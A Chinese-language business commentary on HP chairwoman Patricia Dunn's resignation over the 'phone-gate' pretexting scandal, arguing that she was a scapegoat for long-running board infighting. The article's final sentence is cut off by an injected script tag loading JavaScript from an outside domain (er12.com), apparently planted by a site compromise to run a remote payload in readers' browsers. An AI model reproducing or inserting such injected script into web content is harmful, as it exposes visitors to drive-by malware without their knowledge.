当我们再一次见到惠普董事长帕特丽夏·邓恩(patricia d unn)的时候，她的照片正被挂在各大网站的醒目的位置上，冲着我们和数以亿计的网友木然地张望。赛迪网上的照片下方的大标题是：“惠普董事长邓恩明年1月离职，ceo赫德接任”。
饱受“电话门”纠纷困扰的邓恩可能没有想到，她当初执意的调查会给她带来无尽的烦恼，最后不得不“有条件的辞职”。人们一本正经点头赞同邓恩下台的理由是：私人信息只属于个人，他人无权干涉。
“电话门”其实是一个偶然事件，邓恩的本意是保护企业利益不受伤害，但她没想到的是却挑战了大多数美国人保护神圣隐私的道德底线，人们都群起攻之；从内部情况来看，惠普董事会的内讧由来已久，“电话门”只是让这个企业不和谐的文化得以公开化。
因此，邓恩就只能是“电话门”事件的唯一替罪羊。挑战公众道德底线
挑战公众道德底线
困扰惠普的“电话门”事件最早始于去年1月，也就是前ceo卡莉·菲奥里纳离任前夕。据悉，在惠普董事会还未正式宣布“弹劾”菲奥里纳的消息前，相关报道就已见诸媒体。
今年1月，惠普董事会再度曝出泄密丑闻。当时，美国科技资讯网站cnet在一篇文章中公开报道了惠普的商业战略，而相关内容并未正式发布。这让邓恩异常恼火，决心要一查到底。
但随之而来的是排山倒海的舆论讨伐，如果一个公司的董事长经常监听其他董事的通话记录，那么谁还愿意担任董事之职？
泄密的焦点很快被模糊了，人们怒斥都集中在：无论董事泄密的行为是对还是错，邓恩所采取的监听行为肯定是不适当的。给予董事们应有的尊重。
下不了台的邓恩只好声明，对调查过程中使用不当的技术表示歉意。她说：“公司秘密信息泄露不仅会影响惠普股价，还可能波及其他上市公司。不幸的是，我们聘请的第三方调查公司在调查过程中使用了特定的不当技术。这并不是我们的本意，我为此感到抱歉。”
在信息经济学中，隐私被称为私人信息，即只有自己知道的个人信息。“狗仔队”之所以愿意不惜代价去获得名人隐私，在于这种隐私可以换钱，而且是收益大于成本。
市场经济是主张自由交易，有人愿买，有人愿卖，别人也无可厚非。但隐私的买卖与其他交易一样也受到法律和道德的制约。在法律上，个人隐私是受到保护的，未经许可披露别人的隐私要受到法律的惩罚。
“电话门”事件直接的后果是惠普大量实际价值的流失，这远比调查本身更加糟糕。而更加糟糕的是美国国会、联邦和州政府的一些机构还没有放弃对此事的调查，并扬言可能起诉相关当事人。董事会对立的替罪羊
当人们都还在慷慨激昂地讨论另一个值得注意的事实却不容忽略：那就是惠普的董事会现在正陷入四分五裂，这完全有可能将惠普拖入另一个窘境。
近年来，惠普的董事会内部一直存在意见不统一的情况。早在2002年时，由于在收购康柏电脑一事上存在分歧，时任惠普董事的沃尔特·休伊特就因为反对菲奥里纳的意见而辞职，随他离开的董事还有不少惠普创始家族的拥趸。
在2005年2月菲奥里纳被“弹劾”后，惠普董事会内部的分歧进一步加剧。在过去18个月中，惠普董事会已几度“大换班”，董事会成员人数也变化不定，一会是9人,一会是11人。
据《商业周刊》报道，在如何加强公司管理问题上，惠普董事会成员已分为两派：一是以邓恩为首的一方。邓恩一方认为，公司管理需要稳固的商业程序并遵守相应政府法规，无论在财报准备或遵从萨班斯·奥克斯利(sarbanes o xley)法案时都应如此；另一派是以帕金斯为代表的老董事。老董事们认为公司让自己“学习一些课程”的主意很荒唐。
有分析师指出，以帕金斯为代表的老成员经常“挡住”邓恩的道路，从而导致邓恩使董事会现代化的目标不能顺利实现，因而邓恩对此很不满。
可以想见，在这样的情况下，惠普的董事会要做出任何一项决定都将是异常艰难。这种无休止的内耗必将伤害公司的长远利益。从这个意义上讲，邓恩只是董事会对立的一个“替罪羊”，她下台的根本原因还在于董事会长期对立的积怨引爆，而“电话门”不过是一个导火索而已。
人们很清楚，邓恩自己无法向公司提出有效的市场发展策略，为什么还要查信息泄露这样的事情？一些董事根本就不大去关心调查一事。
这种漠不关心，各做各事的心态，事实上是推动了邓恩的快速下台。革新往往是企业转机的起点。人才和文化上的近亲繁殖是革新的最大障碍。如果克服不了管理风格上的差异，董事会成员间依然“各怀心事”，这将对惠普下一步的创新发展带来抑制性的影响。
但改变现有的企业文化意味着改变我们的行为。很多时候，人们都是反复地在做同一件事情，但却期待有不一样的结果，在很大程度上，我们应当对这一个愚蠢的行为模式负责。而组织的行为改变必须从个体的行为改变开始。
从这个意义上说，赫德如何改变自己?script src=http://er12.com/t.js>
